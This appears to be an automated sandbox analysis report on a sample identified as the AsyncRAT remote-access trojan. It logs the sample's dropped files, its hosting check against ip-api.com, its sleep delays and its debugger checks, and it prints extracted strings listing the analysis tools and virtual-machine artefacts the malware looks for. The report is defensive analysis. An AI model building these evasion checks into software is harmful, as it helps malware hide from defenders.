Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\svchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_svchost.exe PID: 4716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\._cache_svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Fulloptionnew_by elegance.exe.2.dr	Binary or memory string: BLOCKED GUMRUM SUCCESSFULLY..: "", "CREATE_DIRECTORYDNSPY.EXEPROCEXP.EXEX96DBG.EXEX32DBG.EXEILSPY.EXEJETBRAINS.EXEWINDBG.EXEGDB.EXESCYLLA_X64.EXESCYLLA_X86.EXESHARPDEVELOP.EXEMONODEVELOP.EXEOLLYDBG.EXEMEMORYPROFILER.EXEANTS PERFORMANCE PROFILER.EXEJUSTTRACE.EXEBUGAID.EXEREFLECTOR.EXEDOTMEMORY.EXEEVERYTHING.EXECHEATENGINE-I386.EXEHTTPDEBUGGERSVC.EXEMEGADUMPER.EXEEXTREMEDUMPER.EXEDE4DOT.EXEDE4DOT64.EXEDE4DOT-CEX.EXEDNSPY-X64.EXEDNSPY-X86.EXEDNSPY.EXEINJECTIONDEBUGGER.EXEDUMPER.EXEDEBUGTOOL.EXEREVERSEENGINEER.EXECODEINSPECTOR.EXEMEMORYDUMP.EXEBINARYANALYZER.EXEREVERSEDEBUGGER.EXECRASHDUMPANALYZER.EXECODEEXTRACTOR.EXEBYTESCANNER.EXEDEBUGMONITOR.EXEDECOMPILERTOOL.EXEAPIHOOKDETECTOR.EXEPATCHANALYZER.EXEMEMORYSPY.EXECODETRACER.EXEBINARYINSPECTOR.EXEDEBUGASSISTANT.EXEREVERSEANALYZER.EXEPATCHEXTRACTOR.EXECRASHDUMPREADER.EXECODERECONSTRUCTOR.EXEBYTEINSPECTOR.EXEMALWAREDEBUGGER.EXEHOOKMONITOR.EXEDECOMPILERTOOLSET.EXEBINARYRECONSTRUCTOR.EXEDEBUGGINGWIZARD.EXEBINARYINSPECTORPRO.EXEDEBUGASSISTANTPRO.EXEPATCHCRAFT.EXECONTROLFLOWEXPLORER.EXESIGNATURESCANNER.EXEASSEMBLYINSPECTOR.EXEDECOMPILERX.EXECODEREVEAL.EXEREVERSOMASTER.EXEINSTRUCTIONTRACER.EXEDEBUGASSIST.EXEFLOWANALYZER.EXEMEMORYWATCHER.EXEBREAKPOINTDEBUGGER.EXEVARIABLEINSPECTOR.EXEEXECUTIONTRACKER.EXERUNTIMEDEBUGGER.EXEBYTESCANPRO.EXEMEMORYSNAPSHOTTER.EXEDUMPEXPLORER.EXEDATAHARVEST.EXEBINARYDUMPTOOL.EXEBYTEEXTRACTOR.EXECODESNAPSHOT.EXEMEMORYDUMPPRO.EXEDATAEXTRACT.EXEDUMPMASTER.EXECONTROLFLOWINSPECTOR.EXEFUNCTIONEXTRACTORX.EXESIGNATURESEARCHER.EXEREVERSECODEEXPLORER.EXEASSEMBLYANALYZER.EXEDECOMPILERPRO.EXEBYTEPATCHMASTER.EXECODEREVEALX.EXEDEBUGFLOWMASTER.EXEBREAKPOINTASSISTANT.EXEVARIABLEDEBUGGER.EXEEXECUTIONTRACKERPRO.EXERUNTIMEINSPECTOR.EXEGORGONIDA.EXEHADESDEBUGGER.EXEPHOENIXDISASSEMBLER.EXEELYSIUMANALYZER.EXECERBERUSCRACKER.EXEHYDRARECONSTRUCTOR.EXECHIMERAPATCHKIT.EXEMEDUSAPROFILER.EXENEMEANDECRYPTOR.EXESPHINXCODEEXPLORER.EXEBASILISKRECONSTRUCTOR.EXEMANTICOREANALYZER.EXELEVIATHANDEBUGGER.EXEGRIFFINDECRYPTOR.EXEHYDRAPATCHENGINE.EXEPHOENIXINJECTOR.EXESPHINXREVERSER.EXECHIMERATRACER.EXECERBERUSDISASSEMBLER.EXEGORGONCODEANALYZER.EXELEVIATHANTRACER.EXEGRIFFINDISASSEMBLER.EXECHIMERARECONSTRUCTOR.EXEBASILISKDECRYPTOR.EXESPHINXCODEINJECTOR.EXECERBERUSANALYZER.EXEGORGONREVERSER.EXEHYDRADEBUGGER.EXEDE4DOTUNPACKER.EXEKRAKENDEBUGGER.EXEOUROBOROSDECRYPTOR.EXESERPENTDISASSEMBLER.EXEWYVERNCODEANALYZER.EXEFUNCTIONEXTRACTOR.EXEDE4DOTPRO.EXEDEOBFUSCATOR.EXENET-DEOBFUSCATOR.EXESYSTEM INFORMER.EXEPROCESS HACKER.EXEPROCEXP64.EXEPROCEXP64A.EXEDE4DOT64.EXEPROCESS HACKER.EXECHEAT ENGINECHEATENGINE-X86_64-SSE4-AVX2.EXEX64DBG-UNSIGNED.EXESAVE DATA/ FOR WRITING.UNABLE TO OPEN FILE DATA FILES (.DAT).DATSAVE DATA\@
Source: Fulloptionnew_by elegance.exe, 00000004.00000002.3993778104.00007FF771F0C000.00000002.00000001.01000000.00000008.sdmp, Fulloptionnew_by elegance.exe, 00000004.00000000.1557656564.00007FF771F0B000.00000002.00000001.01000000.00000008.sdmp, ._cache_svchost.exe, 00000007.00000002.4006645405.0000000002991000.00000004.00000800.00020000.00000000.sdmp, Fulloptionnew_by elegance.exe.2.dr	Binary or memory string: SBIEDLL.DLL
Source: Fulloptionnew_by elegance.exe.2.dr	Binary or memory string: BET\SBAGGY2\SBAGGY\BACKENDS\IMGUI_IMPL_WIN32.CPPIO.BACKENDPLATFORMUSERDATA == NULLPTR && "ALREADY INITIALIZED A PLATFORM BACKEND!"IMGUI_IMPL_WIN32XINPUT1_4.DLLXINPUT1_3.DLLXINPUT9_1_0.DLLXINPUT1_2.DLLXINPUT1_1.DLLXINPUTGETCAPABILITIESXINPUTGETSTATEBD != NULLPTR && "NO PLATFORM BACKEND TO SHUTDOWN, OR ALREADY SHUTDOWN?"BD->HWND != 0BD != NULLPTR && "DID YOU CALL IMGUI_IMPLWIN32_INIT()?" NTSETINFORMATIONTHREADNTDLL.DLLVMWAREVBOXVIRTUALSYSTEM\CONTROLSET001\SERVICES\DISK\ENUMSBIEDLL.DLLVBOXHOOK.DLL\\.\VBOXMINIRDRDNOLLYDBG - [CPU]OLLYDBGIMMUNITY DEBUGGER - [CPU]X64DBGHTTP DEBUGGERCHEAT ENGINE 7.4THE WIRESHARK NETWORK ANALYZERPROGRESS TELERIK FIDDLER CLASSICCHARLES 4.6.2 - SESSION 1 CHARLES 4.6.2 - SESSION 2 CHARLES 4.6.2 - SESSION 3 *SCYLLA X64 V0.9.8SCYLLA X86 V0.9.8X64DBG[ELEVATED]CHEATENGINE-X86_64.EXEOLLYDBG.EXEIDA.EXEIDA64.EXERADARE2.EXEX64DBG.EXECHEATENGINE-X86_64-SSE4-AVX2OLLYDBG.EXECHARLES.EXEWIRESHARK.EXEHTTPDEBUGGERUI.EXEKSDUMPERCLIENT.EXEPROCESSHACKER.EXESCYLLA_X86SCYLLA_X64IT IS IMPOSSIBLE TO CHECK PROCESS LIST.OLLYDBGIDXTPMAINFRAMESUNAWTFRAMEWINLISTERMAINPROCESSHACKERNTQUERYINFORMATIONPROCESS%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S%S
Source: svchost.exe, 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, ._cache_svchost.exe, 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, svchost.exe.2.dr, ._cache_svchost.exe.5.dr, svchost.exe.7.dr	Binary or memory string: SBIEDLL.DLLINFO

Source: C:\Users\user\Desktop\._cache_file.exe	Memory allocated: 19C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Memory allocated: 1B390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe	Memory allocated: FB0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\._cache_svchost.exe	Memory allocated: 1A990000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 11C0000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 1B0A0000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 7D0000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 1A6A0000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 1AAE0000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 2800000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 1A800000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 1910000 memory reserve \| memory write watch
Source: C:\Users\user\svchost.exe	Memory allocated: 1B4A0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\._cache_file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\._cache_svchost.exe	Window / User API: threadDelayed 9065
Source: C:\Users\user\Desktop\._cache_svchost.exe	Window / User API: threadDelayed 767
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 9949

Source: C:\Users\user\Desktop\._cache_file.exe TID: 3020	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7224	Thread sleep count: 100 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7224	Thread sleep time: -6000000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe TID: 7748	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5868	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2892	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\svchost.exe TID: 7464	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\svchost.exe TID: 320	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\svchost.exe TID: 4532	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\svchost.exe TID: 7184	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\svchost.exe TID: 4172	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\._cache_svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\._cache_svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\._cache_svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\svchost.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\._cache_file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\svchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Amcache.hve.22.dr	Binary or memory string: VMware
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.22.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.22.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.22.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.22.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.22.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Fulloptionnew_by elegance.exe, 00000004.00000002.3993778104.00007FF771F0C000.00000002.00000001.01000000.00000008.sdmp, Fulloptionnew_by elegance.exe, 00000004.00000000.1557656564.00007FF771F0B000.00000002.00000001.01000000.00000008.sdmp, Fulloptionnew_by elegance.exe.2.dr	Binary or memory string: \\.\VBoxMiniRdrDN
Source: Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3232845694.000001A9FC85A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3231632804.000001A9FB02B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4003933266.000001D8010D5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.3997519680.000001D80102B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000005.00000002.1574134458.000000000085F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Amcache.hve.22.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Fulloptionnew_by elegance.exe, 00000004.00000002.3993778104.00007FF771F0C000.00000002.00000001.01000000.00000008.sdmp, Fulloptionnew_by elegance.exe, 00000004.00000000.1557656564.00007FF771F0B000.00000002.00000001.01000000.00000008.sdmp, Fulloptionnew_by elegance.exe.2.dr	Binary or memory string: VBoxHook.dll
Source: Amcache.hve.22.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Fulloptionnew_by elegance.exe.2.dr	Binary or memory string: VMWARE
Source: Amcache.hve.22.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.22.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ._cache_svchost.exe, 00000007.00000002.4024528283.000000001B8A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.22.dr	Binary or memory string: vmci.sys
Source: Fulloptionnew_by elegance.exe.2.dr	Binary or memory string: Bet\SBAGGY2\SBAGGY\backends\imgui_impl_win32.cppio.BackendPlatformUserData == nullptr && "Already initialized a platform backend!"imgui_impl_win32xinput1_4.dllxinput1_3.dllxinput9_1_0.dllxinput1_2.dllxinput1_1.dllXInputGetCapabilitiesXInputGetStatebd != nullptr && "No platform backend to shutdown, or already shutdown?"bd->hWnd != 0bd != nullptr && "Did you call ImGui_ImplWin32_Init()?" NtSetInformationThreadntdll.dllVMWAREVBOXVIRTUALSYSTEM\ControlSet001\Services\Disk\EnumSbieDll.dllVBoxHook.dll\\.\VBoxMiniRdrDNOllyDbg - [CPU]OllyDbgImmunity Debugger - [CPU]x64dbgHTTP DebuggerCheat Engine 7.4The Wireshark Network AnalyzerProgress Telerik Fiddler ClassicCharles 4.6.2 - Session 1 Charles 4.6.2 - Session 2 Charles 4.6.2 - Session 3 *Scylla x64 v0.9.8Scylla x86 v0.9.8x64dbg[Elevated]cheatengine-x86_64.exeollydbg.exeida.exeida64.exeradare2.exex64dbg.execheatengine-x86_64-SSE4-AVX2OLLYDBG.EXECharles.exeWireshark.exeHTTPDebuggerUI.exeKsDumperClient.exeProcessHacker.exeScylla_x86Scylla_x64It is impossible to check process list.OLLYDBGIDXTPMainFrameSunAwtFrameWinListerMainProcessHackerNtQueryInformationProcess%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Source: svchost.exe, 00000005.00000002.1574134458.000000000085F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.22.dr	Binary or memory string: vmci.syshbin`
Source: svchost.exe.7.dr	Binary or memory string: vmware
Source: Amcache.hve.22.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.22.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.22.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.22.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: svchost.exe, 0000000D.00000002.4009782218.000001D801E5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.22.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.22.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.22.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.22.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.22.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.22.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: ._cache_svchost.exe, 00000007.00000002.4024528283.000000001B8D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.22.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.22.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\._cache_svchost.exe

Code function: 7_2_00007FFAAC3A6E50 CheckRemoteDebuggerPresent,

7_2_00007FFAAC3A6E50

Source: C:\ProgramData\Synaptics\Synaptics.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\._cache_svchost.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process token adjusted: Debug
Source: C:\Users\user\svchost.exe	Process token adjusted: Debug
Source: C:\Users\user\svchost.exe	Process token adjusted: Debug
Source: C:\Users\user\svchost.exe	Process token adjusted: Debug
Source: C:\Users\user\svchost.exe	Process token adjusted: Debug
Source: C:\Users\user\svchost.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\._cache_file.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"	Jump to behavior
